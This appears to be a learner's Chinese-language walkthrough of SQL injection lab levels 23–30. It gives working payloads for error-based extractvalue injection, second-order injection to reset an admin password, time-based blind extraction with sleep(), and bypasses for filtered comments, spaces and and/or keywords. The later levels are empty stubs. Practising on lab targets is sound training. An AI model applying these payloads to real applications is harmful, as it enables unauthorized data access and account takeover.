level-23 (注释被过滤)
-  抓包,查看正常请求和响应。 略 
-  尝试是否存在注入 - id=1’,id=1’',成周期性变化
  
-  尝试 POC 
- POC: id=1'+and+extractValue(1,concat(0x7e,user()))--+'

结果:failed。怀疑–被过滤掉了,尝试前后闭合方案
- POC: id=1'+and+extractValue(1,concat(0x7e,user()))+and+'

 
 结果:ok。
level-24(二次注入)
这一关是用类admin的账号去修改admin的密码。
 思路如下:
 (1)我们注册一个admin'--  、admin'#、admin' and '1、admin' or '1 的账号。这是第一次注入
 (2)我们通过这个账号修改密码来修改隐藏的admin账户的密码。这是第二次注入
 第一个'在这里是为了闭合前面的'
 -- 后者#这里起到注释的效果
 列出更改密码的sql更好理解:
| username | sql | 
|---|---|
| admin'--  | update table_x set pasword='123' where username='admin'-- ' and password='456; | 
| admin'# | update table_x set pasword='123' where username='admin#'-- ' and password='456; | 
| admin' and '1 | update table_x set pasword='123' where username='admin#'-- ' and password='456; | 
| admin' or '1 | update table_x set pasword='123' where username='admin#'-- ' or password='456; | 
-  注册账号 
  
 注意--后面是有空格,否则起不到注释的效果
-  登录新账号修改密码(456) 
  
-  验证(密码456) 
  
  
 ==》 成功登录admin
level-25 (and、or被过滤)
-  抓包,查看正常请求和响应 
-  尝试是否存在注入 ''存在 
-  尝试POC 
- POC:id=-1'+or+extractValue(1,concat(0x73,user()))--+
发现and,or关键字被屏蔽了,还是不区分大小写的屏蔽

 
- 使用union

结果:成功注入
- 使用aandnd/anandd --> and
POC: id=-1'+aandnd+extractValue(1,concat(0x73,user()))--+

level-25a(and、or被过滤盲注)
-  抓包,查看正常请求和响应 略 
-  尝试是否存在注入 
-  POC: id=1' and if(1,sleep(3),sleep(0))--+==》不休眠 
-  POC: id=1" and if(1,sleep(3),sleep(0))--+ ==》休眠 
==》存在注入
-  尝试POC - step1: 猜字符串长度:POC: id=1+aandnd+if(length(user())=§1§,sleep(3),0)--+
 
- step1: 猜字符串长度:POC: 

 ==》14
- step2:猜每个字符: POC: id=1+aandnd+if(substr(user(),§1§,1)='§a§',sleep(3),0)--+

 ==》root@localhost
level-26 (空格、注释被过滤)
- 抓包,查看正常请求和响应

- 尝试是否存在注入
- 使用单双引号,发现输出周期性变化,存在注入
- 尝试POC
- POC: '+union+select+1,user(),3--+
==> 空格被过滤了

 ==》 因为空格被过滤了,所以and,union都使用不了,--+也使用不了
 寻找其他替代方案:&&替代and,后’闭合替换--+
- 尝试
 POC:id=1'&extractvalue(1,concat(0x7e,user(),0x7e))&'//字符串拼接&
  
 ==》 无反应
 POC:id=1'&&extractvalue(1,concat(0x7e,user(),0x7e))&&'//逻辑&&
  
POC: id=1'%26extractvalue(1,concat(0x7e,user(),0x7e))%26' //字符串拼接,&使用%编码
 
 ==》 成功爆出
POC: id=1'%26%26extractvalue(1,concat(0x7e,user(),0x7e))%26%26' //&&使用%编码
 
==》 成功爆出
POC: id=1'|extractvalue(1,concat(0x7e,user(),0x7e))|' //使用|
 
 ==》 成功爆出
POC: id=1'||extractvalue(1,concat(0x7e,user(),0x7e))||' //使用||
 
 ==》 成功爆出
POC: id=1'%7cextractvalue(1,concat(0x7e,user(),0x7e))%7c' //|使用%编码
 
 ==》 成功爆出
POC: id=1'%7c%7cextractvalue(1,concat(0x7e,user(),0x7e))%7c%7c' //||使用%编码
 
 ==》 成功爆出
- 总结 - 空格别过滤了,试试&,&&,|,||以及他们的%编码
- 因为空格被过滤了,不能使用--+
 
- 空格别过滤了,试试
level-26a ()
-  抓包,查看正常请求和响应 
-  尝试是否存在注入 
-  尝试POC 
level-27 ()
-  抓包,查看正常请求和响应 
-  尝试是否存在注入 
-  尝试POC 
level-27a ()
-  抓包,查看正常请求和响应 
-  尝试是否存在注入 
-  尝试POC 
level-28 ()
-  抓包,查看正常请求和响应 
-  尝试是否存在注入 
-  尝试POC 
level-28a ()
-  抓包,查看正常请求和响应 
-  尝试是否存在注入 
-  尝试POC 
level-29 ()
-  抓包,查看正常请求和响应 
-  尝试是否存在注入 
-  尝试POC 
level-30 ()
-  抓包,查看正常请求和响应 
-  尝试是否存在注入 
-  尝试POC